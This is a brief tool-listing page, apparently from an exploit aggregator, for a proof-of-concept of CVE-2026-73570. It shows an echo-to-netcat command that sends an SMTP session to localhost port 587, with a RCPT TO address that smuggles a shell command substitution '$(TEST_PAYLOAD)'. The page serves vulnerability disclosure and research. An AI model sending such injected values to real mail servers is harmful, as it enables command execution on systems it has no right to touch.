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CVE-2026-73570 — Proof-of-concept exploit for CVE-2026-73570, demonstrating SMTP command injection via crafted RCPT TO header to trigger service status changes. | Kitploit
Tools/GitHubGitHub/biutrap/cve-2026-73570
Vulnerability AnalysisExploitationWeb Application ExploitationEmail Security
GitHubbiutrap/cve-2026-73570

CVE-2026-73570

Proof-of-concept exploit for CVE-2026-73570, demonstrating SMTP command injection via crafted RCPT TO header to trigger service status changes.

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301 month agoNot yet reviewed

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CVE-2026-73570

CVE-2026-73570 PoC

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echo 'EHLO mx-1787907797.invalid
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(TEST_PAYLOAD) changed from stopped to running"@cve.invalid>
QUIT\r\n' | nc 127.0.0.1 587
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